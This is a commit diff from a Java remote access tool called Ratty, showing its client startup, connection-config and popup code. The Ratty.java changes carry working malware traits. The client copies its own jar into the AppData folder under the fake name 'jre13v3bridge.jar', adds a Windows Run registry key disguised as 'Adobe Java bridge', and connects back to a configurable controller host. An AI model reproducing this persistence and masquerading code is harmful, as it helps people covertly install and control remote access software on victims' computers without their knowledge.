Browse Source

Small changes

Cleanups
Started to think about client program building
master
Sogomn 9 years ago
parent
commit
44fa1af389
  1. 3
      Ratty/res/connection_data.txt
  2. 49
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 8
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  4. 4
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

3
Ratty/res/connection_data.txt

@ -0,0 +1,3 @@
localhost
23456
false

49
Ratty/src/de/sogomn/rat/Ratty.java

@ -17,31 +17,47 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
private static final int DISCONNECT_SLEEP_INTERVAL = 2500;
private static String address;
private static int port;
public static boolean client;
private static final String FOLDER_NAME = "Adobe" + File.separator + "AIR";
private static final String FILE_NAME = "jre13v3bridge.jar";
private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String STARTUP_FOLDER_NAME = "Adobe" + File.separator + "AIR";
private static final String STARTUP_FILE_NAME = "jre13v3bridge.jar";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME;
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
public static final String ADDRESS = "localhost";
public static final int PORT = 23456;
public static final boolean CLIENT = false;
public static final String VERSION = "1.0";
private Ratty() {
//...
}
private static void readConnectionData() throws NumberFormatException, ArrayIndexOutOfBoundsException {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
if (lines.length >= 3) {
final String addressString = lines[0];
final String portString = lines[1];
final String clientString = lines[2];
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
}
private static void addToStartup() {
try {
final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI();
final String destinationPath = System.getenv("APPDATA") + File.separator + FOLDER_NAME + File.separator + FILE_NAME;
final File source = new File(sourceUri);
final File destination = new File(destinationPath);
final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\"";
final File destination = new File(STARTUP_FILE_PATH);
FileUtils.createFile(destinationPath);
FileUtils.createFile(STARTUP_FILE_PATH);
FileUtils.copy(source, destination);
Runtime.getRuntime().exec(registryCommand);
Runtime.getRuntime().exec(REGISTRY_COMMAND);
} catch (final URISyntaxException | IOException ex) {
ex.printStackTrace();
}
@ -53,7 +69,7 @@ public final class Ratty {
if (!newClient.isOpen()) {
try {
Thread.sleep(DISCONNECT_SLEEP_INTERVAL);
Thread.sleep(CONNECTION_INTERVAL);
} catch (final InterruptedException ex) {
ex.printStackTrace();
} finally {
@ -79,10 +95,11 @@ public final class Ratty {
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (CLIENT) {
if (client) {
addToStartup();
connectToHost(ADDRESS, PORT);
connectToHost(address, port);
} else {
final String[] options = {"Server", "Client"};
final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
@ -90,11 +107,11 @@ public final class Ratty {
if (input == JOptionPane.YES_OPTION) {
System.out.println("Starting server");
startServer(PORT);
startServer(port);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println("Starting client");
connectToHost(ADDRESS, PORT);
connectToHost(address, port);
}
}
}

8
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,10 +1,9 @@
package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
@ -13,8 +12,6 @@ public final class PopupPacket implements IPacket {
private String message;
private static final BufferedImage NO_IMAGE = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB);
public PopupPacket(final String message) {
this.message = message;
}
@ -38,7 +35,8 @@ public final class PopupPacket implements IPacket {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);
dialog.setIconImage(NO_IMAGE);
dialog.setAlwaysOnTop(true);
dialog.setIconImage(ImageUtils.EMPTY_IMAGE);
dialog.setModal(false);
dialog.setVisible(true);
}

4
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -2,6 +2,8 @@ package de.sogomn.rat.util;
import java.awt.image.BufferedImage;
import de.sogomn.engine.util.ImageUtils;
public final class FrameEncoder {
private FrameEncoder() {
@ -55,7 +57,7 @@ public final class FrameEncoder {
public final int x, y;
public final BufferedImage image;
public static final IFrame EMPTY = new IFrame(0, 0, new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB));
public static final IFrame EMPTY = new IFrame(0, 0, ImageUtils.EMPTY_IMAGE);
public IFrame(final int x, final int y, final BufferedImage image) {
this.x = x;

Loading…
Cancel
Save